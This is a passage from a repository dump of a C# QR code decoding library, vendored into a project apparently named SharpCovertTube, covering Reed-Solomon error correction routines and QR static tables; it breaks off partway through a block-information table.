194 | {
195 | // position is out of range
196 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false;
197 |
198 | // save the only error position in position array
199 | ErrorPosition[0] = LastPosition;
200 | return true;
201 | }
202 |
203 | // we start at last error position
204 | int PosIndex = ErrorCount - 1;
205 | for (int DataIndex = 0; DataIndex < DataLength; DataIndex++)
206 | {
207 | int DataIndexInverse = 255 - DataIndex;
208 | int Total = 1;
209 | for (int Index = 1; Index <= ErrorCount; Index++) Total ^= MultiplyIntByExp(Sigma[Index], (DataIndexInverse * Index) % 255);
210 | if (Total != 0) continue;
211 |
212 | int Position = StaticTables.ExpToInt[DataIndex];
213 | LastPosition ^= Position;
214 | ErrorPosition[PosIndex--] = Position;
215 | if (PosIndex == 0)
216 | {
217 | // position is out of range
218 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false;
219 | ErrorPosition[0] = LastPosition;
220 | return true;
221 | }
222 | }
223 |
224 | // search failed
225 | return false;
226 | }
227 |
228 | private static void ApplyCorrection
229 | (
230 | byte[] ReceivedData,
231 | int DataLength,
232 | int ErrorCount,
233 | int[] ErrorPosition,
234 | int[] Sigma,
235 | int[] Omega
236 | )
237 | {
238 | for (int ErrIndex = 0; ErrIndex < ErrorCount; ErrIndex++)
239 | {
240 | int ps = ErrorPosition[ErrIndex];
241 | int zlog = 255 - StaticTables.IntToExp[ps];
242 | int OmegaTotal = Omega[0];
243 | for (int Index = 1; Index < ErrorCount; Index++) OmegaTotal ^= MultiplyIntByExp(Omega[Index], (zlog * Index) % 255);
244 | int SigmaTotal = Sigma[1];
245 | for (int j = 2; j < ErrorCount; j += 2) SigmaTotal ^= MultiplyIntByExp(Sigma[j + 1], (zlog * j) % 255);
246 | ReceivedData[DataLength - 1 - StaticTables.IntToExp[ps]] ^= (byte)MultiplyDivide(ps, OmegaTotal, SigmaTotal);
247 | }
248 | return;
249 | }
250 |
251 | internal static void PolynominalDivision(byte[] Polynomial, int PolyLength, byte[] Generator, int ErrCorrCodewords)
252 | {
253 | int DataCodewords = PolyLength - ErrCorrCodewords;
254 |
255 | // error correction polynomial division
256 | for (int Index = 0; Index < DataCodewords; Index++)
257 | {
258 | // current first codeword is zero
259 | if (Polynomial[Index] == 0) continue;
260 |
261 | // current first codeword is not zero
262 | int Multiplier = StaticTables.IntToExp[Polynomial[Index]];
263 |
264 | // loop for error correction coofficients
265 | for (int GeneratorIndex = 0; GeneratorIndex < ErrCorrCodewords; GeneratorIndex++)
266 | {
267 | Polynomial[Index + 1 + GeneratorIndex] = (byte)(Polynomial[Index + 1 + GeneratorIndex] ^ StaticTables.ExpToInt[Generator[GeneratorIndex] + Multiplier]);
268 | }
269 | }
270 | return;
271 | }
272 |
273 | internal static int Multiply
274 | (
275 | int Int1,
276 | int Int2
277 | )
278 | {
279 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2]];
280 | }
281 |
282 | internal static int MultiplyIntByExp
283 | (
284 | int Int,
285 | int Exp
286 | )
287 | {
288 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] + Exp];
289 | }
290 |
291 | internal static int MultiplyDivide
292 | (
293 | int Int1,
294 | int Int2,
295 | int Int3
296 | )
297 | {
298 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[(StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2] - StaticTables.IntToExp[Int3] + 255) % 255];
299 | }
300 |
301 | internal static int DivideIntByExp
302 | (
303 | int Int,
304 | int Exp
305 | )
306 | {
307 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] - Exp + 255];
308 | }
309 |
310 | internal static void PolynomialMultiply(int[] Result, int[] Poly1, int[] Poly2)
311 | {
312 | Array.Clear(Result, 0, Result.Length);
313 | for (int Index1 = 0; Index1 < Poly1.Length; Index1++)
314 | {
315 | if (Poly1[Index1] == 0) continue;
316 | int loga = StaticTables.IntToExp[Poly1[Index1]];
317 | int Index2End = Math.Min(Poly2.Length, Result.Length - Index1);
318 | // = Sum(Poly1[Index1] * Poly2[Index2]) for all Index2
319 | for (int Index2 = 0; Index2 < Index2End; Index2++)
320 | if (Poly2[Index2] != 0) Result[Index1 + Index2] ^= StaticTables.ExpToInt[loga + StaticTables.IntToExp[Poly2[Index2]]];
321 | }
322 | return;
323 | }
324 | }
325 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/QRCodeDecoder/ReedSolomon.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code error correction calculations.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 |
46 | namespace SharpCovertTube_Service.QRCodeDecoder
47 | {
48 | internal class ReedSolomon
49 | {
50 | internal static int INCORRECTABLE_ERROR = -1;
51 |
52 | internal static int CorrectData
53 | (
54 | byte[] ReceivedData, // recived data buffer with data and error correction code
55 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data)
56 | int ErrCorrCodewords // numer of error correction codewords
57 | )
58 | {
59 | // calculate syndrome vector
60 | int[] Syndrome = CalculateSyndrome(ReceivedData, DataLength, ErrCorrCodewords);
61 |
62 | // received data has no error
63 | // note: this should not happen because we call this method only if error was detected
64 | if (Syndrome == null) return 0;
65 |
66 | // Modified Berlekamp-Massey
67 | // calculate sigma and omega
68 | int[] Sigma = new int[ErrCorrCodewords / 2 + 2];
69 | int[] Omega = new int[ErrCorrCodewords / 2 + 1];
70 | int ErrorCount = CalculateSigmaMBM(Sigma, Omega, Syndrome, ErrCorrCodewords);
71 |
72 | // data cannot be corrected
73 | if (ErrorCount <= 0) return INCORRECTABLE_ERROR;
74 |
75 | // look for error position using Chien search
76 | int[] ErrorPosition = new int[ErrorCount];
77 | if (!ChienSearch(ErrorPosition, DataLength, ErrorCount, Sigma)) return INCORRECTABLE_ERROR;
78 |
79 | // correct data array based on position array
80 | ApplyCorrection(ReceivedData, DataLength, ErrorCount, ErrorPosition, Sigma, Omega);
81 |
82 | // return error count before it was corrected
83 | return ErrorCount;
84 | }
85 |
86 | // Syndrome vector calculation
87 | // S0 = R0 + R1 + R2 + .... + Rn
88 | // S1 = R0 + R1 * A**1 + R2 * A**2 + .... + Rn * A**n
89 | // S2 = R0 + R1 * A**2 + R2 * A**4 + .... + Rn * A**2n
90 | // ....
91 | // Sm = R0 + R1 * A**m + R2 * A**2m + .... + Rn * A**mn
92 |
93 | internal static int[] CalculateSyndrome
94 | (
95 | byte[] ReceivedData, // recived data buffer with data and error correction code
96 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data)
97 | int ErrCorrCodewords // numer of error correction codewords
98 | )
99 | {
100 | // allocate syndrome vector
101 | int[] Syndrome = new int[ErrCorrCodewords];
102 |
103 | // reset error indicator
104 | bool Error = false;
105 |
106 | // syndrome[zero] special case
107 | // Total = Data[0] + Data[1] + ... Data[n]
108 | int Total = ReceivedData[0];
109 | for (int SumIndex = 1; SumIndex < DataLength; SumIndex++) Total = ReceivedData[SumIndex] ^ Total;
110 | Syndrome[0] = Total;
111 | if (Total != 0) Error = true;
112 |
113 | // all other synsromes
114 | for (int Index = 1; Index < ErrCorrCodewords; Index++)
115 | {
116 | // Total = Data[0] + Data[1] * Alpha + Data[2] * Alpha ** 2 + ... Data[n] * Alpha ** n
117 | Total = ReceivedData[0];
118 | for (int IndexT = 1; IndexT < DataLength; IndexT++) Total = ReceivedData[IndexT] ^ MultiplyIntByExp(Total, Index);
119 | Syndrome[Index] = Total;
120 | if (Total != 0) Error = true;
121 | }
122 |
123 | // if there is an error return syndrome vector otherwise return null
124 | return Error ? Syndrome : null;
125 | }
126 |
127 | // Modified Berlekamp-Massey
128 | internal static int CalculateSigmaMBM
129 | (
130 | int[] Sigma,
131 | int[] Omega,
132 | int[] Syndrome,
133 | int ErrCorrCodewords
134 | )
135 | {
136 | int[] PolyC = new int[ErrCorrCodewords];
137 | int[] PolyB = new int[ErrCorrCodewords];
138 | PolyC[1] = 1;
139 | PolyB[0] = 1;
140 | int ErrorControl = 1;
141 | int ErrorCount = 0; // L
142 | int m = -1;
143 |
144 | for (int ErrCorrIndex = 0; ErrCorrIndex < ErrCorrCodewords; ErrCorrIndex++)
145 | {
146 | // Calculate the discrepancy
147 | int Dis = Syndrome[ErrCorrIndex];
148 | for (int i = 1; i <= ErrorCount; i++) Dis ^= Multiply(PolyB[i], Syndrome[ErrCorrIndex - i]);
149 |
150 | if (Dis != 0)
151 | {
152 | int DisExp = StaticTables.IntToExp[Dis];
153 | int[] WorkPolyB = new int[ErrCorrCodewords];
154 | for (int Index = 0; Index <= ErrCorrIndex; Index++) WorkPolyB[Index] = PolyB[Index] ^ MultiplyIntByExp(PolyC[Index], DisExp);
155 | int js = ErrCorrIndex - m;
156 | if (js > ErrorCount)
157 | {
158 | m = ErrCorrIndex - ErrorCount;
159 | ErrorCount = js;
160 | if (ErrorCount > ErrCorrCodewords / 2) return INCORRECTABLE_ERROR;
161 | for (int Index = 0; Index <= ErrorControl; Index++) PolyC[Index] = DivideIntByExp(PolyB[Index], DisExp);
162 | ErrorControl = ErrorCount;
163 | }
164 | PolyB = WorkPolyB;
165 | }
166 |
167 | // shift polynomial right one
168 | Array.Copy(PolyC, 0, PolyC, 1, Math.Min(PolyC.Length - 1, ErrorControl));
169 | PolyC[0] = 0;
170 | ErrorControl++;
171 | }
172 |
173 | PolynomialMultiply(Omega, PolyB, Syndrome);
174 | Array.Copy(PolyB, 0, Sigma, 0, Math.Min(PolyB.Length, Sigma.Length));
175 | return ErrorCount;
176 | }
177 |
178 | // Chien search is a fast algorithm for determining roots of polynomials defined over a finite field.
179 | // The most typical use of the Chien search is in finding the roots of error-locator polynomials
180 | // encountered in decoding Reed-Solomon codes and BCH codes.
181 | private static bool ChienSearch
182 | (
183 | int[] ErrorPosition,
184 | int DataLength,
185 | int ErrorCount,
186 | int[] Sigma
187 | )
188 | {
189 | // last error
190 | int LastPosition = Sigma[1];
191 |
192 | // one error
193 | if (ErrorCount == 1)
194 | {
195 | // position is out of range
196 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false;
197 |
198 | // save the only error position in position array
199 | ErrorPosition[0] = LastPosition;
200 | return true;
201 | }
202 |
203 | // we start at last error position
204 | int PosIndex = ErrorCount - 1;
205 | for (int DataIndex = 0; DataIndex < DataLength; DataIndex++)
206 | {
207 | int DataIndexInverse = 255 - DataIndex;
208 | int Total = 1;
209 | for (int Index = 1; Index <= ErrorCount; Index++) Total ^= MultiplyIntByExp(Sigma[Index], (DataIndexInverse * Index) % 255);
210 | if (Total != 0) continue;
211 |
212 | int Position = StaticTables.ExpToInt[DataIndex];
213 | LastPosition ^= Position;
214 | ErrorPosition[PosIndex--] = Position;
215 | if (PosIndex == 0)
216 | {
217 | // position is out of range
218 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false;
219 | ErrorPosition[0] = LastPosition;
220 | return true;
221 | }
222 | }
223 |
224 | // search failed
225 | return false;
226 | }
227 |
228 | private static void ApplyCorrection
229 | (
230 | byte[] ReceivedData,
231 | int DataLength,
232 | int ErrorCount,
233 | int[] ErrorPosition,
234 | int[] Sigma,
235 | int[] Omega
236 | )
237 | {
238 | for (int ErrIndex = 0; ErrIndex < ErrorCount; ErrIndex++)
239 | {
240 | int ps = ErrorPosition[ErrIndex];
241 | int zlog = 255 - StaticTables.IntToExp[ps];
242 | int OmegaTotal = Omega[0];
243 | for (int Index = 1; Index < ErrorCount; Index++) OmegaTotal ^= MultiplyIntByExp(Omega[Index], (zlog * Index) % 255);
244 | int SigmaTotal = Sigma[1];
245 | for (int j = 2; j < ErrorCount; j += 2) SigmaTotal ^= MultiplyIntByExp(Sigma[j + 1], (zlog * j) % 255);
246 | ReceivedData[DataLength - 1 - StaticTables.IntToExp[ps]] ^= (byte)MultiplyDivide(ps, OmegaTotal, SigmaTotal);
247 | }
248 | return;
249 | }
250 |
251 | internal static void PolynominalDivision(byte[] Polynomial, int PolyLength, byte[] Generator, int ErrCorrCodewords)
252 | {
253 | int DataCodewords = PolyLength - ErrCorrCodewords;
254 |
255 | // error correction polynomial division
256 | for (int Index = 0; Index < DataCodewords; Index++)
257 | {
258 | // current first codeword is zero
259 | if (Polynomial[Index] == 0) continue;
260 |
261 | // current first codeword is not zero
262 | int Multiplier = StaticTables.IntToExp[Polynomial[Index]];
263 |
264 | // loop for error correction coofficients
265 | for (int GeneratorIndex = 0; GeneratorIndex < ErrCorrCodewords; GeneratorIndex++)
266 | {
267 | Polynomial[Index + 1 + GeneratorIndex] = (byte)(Polynomial[Index + 1 + GeneratorIndex] ^ StaticTables.ExpToInt[Generator[GeneratorIndex] + Multiplier]);
268 | }
269 | }
270 | return;
271 | }
272 |
273 | internal static int Multiply
274 | (
275 | int Int1,
276 | int Int2
277 | )
278 | {
279 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2]];
280 | }
281 |
282 | internal static int MultiplyIntByExp
283 | (
284 | int Int,
285 | int Exp
286 | )
287 | {
288 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] + Exp];
289 | }
290 |
291 | internal static int MultiplyDivide
292 | (
293 | int Int1,
294 | int Int2,
295 | int Int3
296 | )
297 | {
298 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[(StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2] - StaticTables.IntToExp[Int3] + 255) % 255];
299 | }
300 |
301 | internal static int DivideIntByExp
302 | (
303 | int Int,
304 | int Exp
305 | )
306 | {
307 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] - Exp + 255];
308 | }
309 |
310 | internal static void PolynomialMultiply(int[] Result, int[] Poly1, int[] Poly2)
311 | {
312 | Array.Clear(Result, 0, Result.Length);
313 | for (int Index1 = 0; Index1 < Poly1.Length; Index1++)
314 | {
315 | if (Poly1[Index1] == 0) continue;
316 | int loga = StaticTables.IntToExp[Poly1[Index1]];
317 | int Index2End = Math.Min(Poly2.Length, Result.Length - Index1);
318 | // = Sum(Poly1[Index1] * Poly2[Index2]) for all Index2
319 | for (int Index2 = 0; Index2 < Index2End; Index2++)
320 | if (Poly2[Index2] != 0) Result[Index1 + Index2] ^= StaticTables.ExpToInt[loga + StaticTables.IntToExp[Poly2[Index2]]];
321 | }
322 | return;
323 | }
324 | }
325 | }
--------------------------------------------------------------------------------
/SharpCovertTube/QRCodeDecoder/StaticTables.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code static data tables
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | namespace SharpCovertTube.QRCodeDecoder
45 | {
46 | internal class StaticTables
47 | {
48 | // alignment symbols position as function of dimension
49 | internal static readonly byte[][] AlignmentPositionArray =
50 | {
51 | null,
52 | null,
53 | new byte[] { 6, 18},
54 | new byte[] { 6, 22},
55 | new byte[] { 6, 26},
56 | new byte[] { 6, 30},
57 | new byte[] { 6, 34},
58 | new byte[] { 6, 22, 38},
59 | new byte[] { 6, 24, 42},
60 | new byte[] { 6, 26, 46},
61 | new byte[] { 6, 28, 50},
62 | new byte[] { 6, 30, 54},
63 | new byte[] { 6, 32, 58},
64 | new byte[] { 6, 34, 62},
65 | new byte[] { 6, 26, 46, 66},
66 | new byte[] { 6, 26, 48, 70},
67 | new byte[] { 6, 26, 50, 74},
68 | new byte[] { 6, 30, 54, 78},
69 | new byte[] { 6, 30, 56, 82},
70 | new byte[] { 6, 30, 58, 86},
71 | new byte[] { 6, 34, 62, 90},
72 | new byte[] { 6, 28, 50, 72, 94},
73 | new byte[] { 6, 26, 50, 74, 98},
74 | new byte[] { 6, 30, 54, 78, 102},
75 | new byte[] { 6, 28, 54, 80, 106},
76 | new byte[] { 6, 32, 58, 84, 110},
77 | new byte[] { 6, 30, 58, 86, 114},
78 | new byte[] { 6, 34, 62, 90, 118},
79 | new byte[] { 6, 26, 50, 74, 98, 122},
80 | new byte[] { 6, 30, 54, 78, 102, 126},
81 | new byte[] { 6, 26, 52, 78, 104, 130},
82 | new byte[] { 6, 30, 56, 82, 108, 134},
83 | new byte[] { 6, 34, 60, 86, 112, 138},
84 | new byte[] { 6, 30, 58, 86, 114, 142},
85 | new byte[] { 6, 34, 62, 90, 118, 146},
86 | new byte[] { 6, 30, 54, 78, 102, 126, 150},
87 | new byte[] { 6, 24, 50, 76, 102, 128, 154},
88 | new byte[] { 6, 28, 54, 80, 106, 132, 158},
89 | new byte[] { 6, 32, 58, 84, 110, 136, 162},
90 | new byte[] { 6, 26, 54, 82, 110, 138, 166},
91 | new byte[] { 6, 30, 58, 86, 114, 142, 170},
92 | };
93 |
94 | // maximum code words as function of dimension
95 | internal static readonly int[] MaxCodewordsArray =
96 | {0,
97 | 26, 44, 70, 100, 134, 172, 196, 242, 292, 346,
98 | 404, 466, 532, 581, 655, 733, 815, 901, 991, 1085,
99 | 1156, 1258, 1364, 1474, 1588, 1706, 1828, 1921, 2051, 2185,
100 | 2323, 2465, 2611, 2761, 2876, 3034, 3196, 3362, 3532, 3706
101 | };
102 |
103 | // Encodable character set:
104 | // 1) numeric data (digits 0 - 9);
105 | // 2) alphanumeric data (digits 0 - 9; upper case letters A -Z; nine other characters: space, $ % * + - . / : );
106 | // 3) 8-bit byte data (JIS 8-bit character set (Latin and Kana) in accordance with JIS X 0201);
107 | // 4) Kanji characters (Shift JIS character set in accordance with JIS X 0208 Annex 1 Shift Coded
108 | // Representation. Note that Kanji characters in QR Code can have values 8140HEX -9FFCHEX and E040HEX -
109 | // EBBFHEX , which can be compacted into 13 bits.)
110 |
111 | internal static readonly byte[] EncodingTable =
112 | {
113 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
114 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
115 | 36, 45, 45, 45, 37, 38, 45, 45, 45, 45, 39, 40, 45, 41, 42, 43,
116 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 44, 45, 45, 45, 45, 45,
117 | 45, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
118 | 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 45, 45, 45, 45, 45,
119 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
120 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
121 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
122 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
123 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
124 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
125 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
126 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
127 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
128 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
129 | };
130 |
131 | internal static readonly byte[] DecodingTable =
132 | {
133 | (byte) '0', // 0
134 | (byte) '1', // 1
135 | (byte) '2', // 2
136 | (byte) '3', // 3
137 | (byte) '4', // 4
138 | (byte) '5', // 5
139 | (byte) '6', // 6
140 | (byte) '7', // 7
141 | (byte) '8', // 8
142 | (byte) '9', // 9
143 | (byte) 'A', // 10
144 | (byte) 'B', // 11
145 | (byte) 'C', // 12
146 | (byte) 'D', // 13
147 | (byte) 'E', // 14
148 | (byte) 'F', // 15
149 | (byte) 'G', // 16
150 | (byte) 'H', // 17
151 | (byte) 'I', // 18
152 | (byte) 'J', // 19
153 | (byte) 'K', // 20
154 | (byte) 'L', // 21
155 | (byte) 'M', // 22
156 | (byte) 'N', // 23
157 | (byte) 'O', // 24
158 | (byte) 'P', // 25
159 | (byte) 'Q', // 26
160 | (byte) 'R', // 27
161 | (byte) 'S', // 28
162 | (byte) 'T', // 29
163 | (byte) 'U', // 30
164 | (byte) 'V', // 31
165 | (byte) 'W', // 32
166 | (byte) 'X', // 33
167 | (byte) 'Y', // 34
168 | (byte) 'Z', // 35
169 | (byte) ' ', // 36 (space)
170 | (byte) '$', // 37
171 | (byte) '%', // 38
172 | (byte) '*', // 39
173 | (byte) '+', // 40
174 | (byte) '-', // 41
175 | (byte) '.', // 42
176 | (byte) '/', // 43
177 | (byte) ':', // 44
178 | };
179 |
180 | // Error correction block information
181 | // A-Number of blocks in group 1
182 | internal const int BLOCKS_GROUP1 = 0;
183 | // B-Number of data codewords in blocks of group 1
184 | internal const int DATA_CODEWORDS_GROUP1 = 1;
185 | // C-Number of blocks in group 2
186 | internal const int BLOCKS_GROUP2 = 2;
187 | // D-Number of data codewords in blocks of group 2
188 | internal const int DATA_CODEWORDS_GROUP2 = 3;
189 |
190 | internal static readonly byte[,] ECBlockInfo =
191 | {
192 | // A, B, C, D
193 | { 1, 19, 0, 0}, // 1-L
194 | { 1, 16, 0, 0}, // 1-M
195 | { 1, 13, 0, 0}, // 1-Q
196 | { 1, 9, 0, 0}, // 1-H
197 | { 1, 34, 0, 0}, // 2-L
198 | { 1, 28, 0, 0}, // 2-M
199 | { 1, 22, 0, 0}, // 2-Q
200 | { 1, 16, 0, 0}, // 2-H
201 | { 1, 55, 0, 0}, // 3-L
202 | { 1, 44, 0, 0}, // 3-M
203 | { 2, 17, 0, 0}, // 3-Q
204 | { 2, 13, 0, 0}, // 3-H
205 | { 1, 80, 0, 0}, // 4-L
206 | { 2, 32, 0, 0}, // 4-M
207 | { 2, 24, 0, 0}, // 4-Q
208 | { 4, 9, 0, 0}, // 4-H
209 | { 1, 108, 0, 0}, // 5-L
210 | { 2, 43, 0, 0}, // 5-M
211 | { 2, 15, 2, 16}, // 5-Q
212 | { 2, 11, 2, 12}, // 5-H
213 | { 2, 68, 0, 0}, // 6-L
214 | { 4, 27, 0, 0}, // 6-M
215 | { 4, 19, 0, 0}, // 6-Q
216 | { 4, 15, 0, 0}, // 6-H
217 | { 2, 78, 0, 0}, // 7-L
218 | { 4, 31, 0, 0}, // 7-M
219 | { 2, 14, 4, 15}, // 7-Q
220 | { 4, 13, 1, 14}, // 7-H
221 | { 2, 97, 0, 0}, // 8-L
222 | { 2, 38, 2, 39}, // 8-M
223 | { 4, 18, 2, 19}, // 8-Q
224 | { 4, 14, 2, 15}, // 8-H
225 | { 2, 116, 0, 0}, // 9-L
226 | { 3, 36, 2, 37}, // 9-M
227 | { 4, 16, 4, 17}, // 9-Q
228 | { 4, 12, 4, 13}, // 9-H
229 | { 2, 68, 2, 69}, // 10-L
230 | { 4, 43, 1, 44}, // 10-M
231 | { 6, 19, 2, 20}, // 10-Q
232 | { 6, 15, 2, 16}, // 10-H
233 | { 4, 81, 0, 0}, // 11-L
234 | { 1, 50, 4, 51}, // 11-M
235 | { 4, 22, 4, 23}, // 11-Q
236 | { 3, 12, 8, 13}, // 11-H
237 | { 2, 92, 2, 93}, // 12-L
238 | { 6, 36, 2, 37}, // 12-M
239 | { 4, 20, 6, 21}, // 12-Q
240 | { 7, 14, 4, 15}, // 12-H
241 | { 4, 107, 0, 0}, // 13-L
242 | { 8, 37, 1, 38}, // 13-M
243 | { 8, 20, 4, 21}, // 13-Q
244 | { 12, 11, 4, 12}, // 13-H
245 | { 3, 115, 1, 116}, // 14-L
246 | { 4, 40, 5, 41}, // 14-M
247 | { 11, 16, 5, 17}, // 14-Q
248 | { 11, 12, 5, 13}, // 14-H
249 | { 5, 87, 1, 88}, // 15-L
250 | { 5, 41, 5, 42}, // 15-M
251 | { 5, 24, 7, 25}, // 15-Q
252 | { 11, 12, 7, 13}, // 15-H
253 | { 5, 98, 1, 99}, // 16-L
254 | { 7, 45, 3, 46}, // 16-M
255 | { 15, 19, 2, 20}, // 16-Q
256 | { 3, 15, 13, 16}, // 16-H
257 | { 1, 107, 5, 108}, // 17-L
258 | { 10, 46, 1, 47}, // 17-M
259 | { 1, 22, 15, 23}, // 17-Q
260 | { 2, 14, 17, 15}, // 17-H
261 | { 5, 120, 1, 121}, // 18-L
262 | { 9, 43, 4, 44}, // 18-M
263 | { 17, 22, 1, 23}, // 18-Q
264 | { 2, 14, 19, 15}, // 18-H
265 | { 3, 113, 4, 114}, // 19-L
266 | { 3, 44, 11, 45}, // 19-M
267 | { 17, 21, 4, 22}, // 19-Q
268 | { 9, 13, 16, 14}, // 19-H
269 | { 3, 107, 5, 108}, // 20-L
270 | { 3, 41, 13, 42}, // 20-M
271 | { 15, 24, 5, 25}, // 20-Q
272 | { 15, 15, 10, 16}, // 20-H
273 | { 4, 116, 4, 117}, // 21-L
274 | { 17, 42, 0, 0}, // 21-M
275 | { 17, 22, 6, 23}, // 21-Q
276 | { 19, 16, 6, 17}, // 21-H
277 | { 2, 111, 7, 112}, // 22-L
278 | { 17, 46, 0, 0}, // 22-M
279 | { 7, 24, 16, 25}, // 22-Q
280 | { 34, 13, 0, 0}, // 22-H
281 | { 4, 121, 5, 122}, // 23-L
282 | { 4, 47, 14, 48}, // 23-M
283 | { 11, 24, 14, 25}, // 23-Q
284 | { 16, 15, 14, 16}, // 23-H
285 | { 6, 117, 4, 118}, // 24-L
286 | { 6, 45, 14, 46}, // 24-M
287 | { 11, 24, 16, 25}, // 24-Q
288 | { 30, 16, 2, 17}, // 24-H
289 | { 8, 106, 4, 107}, // 25-L
290 | { 8, 47, 13, 48}, // 25-M
291 | { 7, 24, 22, 25}, // 25-Q
292 | { 22, 15, 13, 16}, // 25-H
293 | { 10, 114, 2, 115}, // 26-L
294 | { 19, 46, 4, 47}, // 26-M
295 | { 28, 22, 6, 23}, // 26-Q
296 | { 33, 16, 4, 17}, // 26-H
297 | { 8, 122, 4, 123}, // 27-L
298 | { 22, 45, 3, 46}, // 27-M
299 | { 8, 23, 26, 24}, // 27-Q
300 | { 12, 15, 28, 16}, // 27-H
301 | { 3, 117, 10, 118}, // 28-L
302 | { 3, 45, 23, 46}, // 28-M
303 | { 4, 24, 31, 25}, // 28-Q
304 | { 11, 15, 31, 16}, // 28-H
305 | { 7, 116, 7, 117}, // 29-L
306 | { 21, 45, 7, 46}, // 29-M
307 | { 1, 23, 37, 24}, // 29-Q
308 | { 19, 15, 26, 16}, // 29-H
309 | { 5, 115, 10, 116}, // 30-L
310 | { 19, 47, 10, 48}, // 30-M
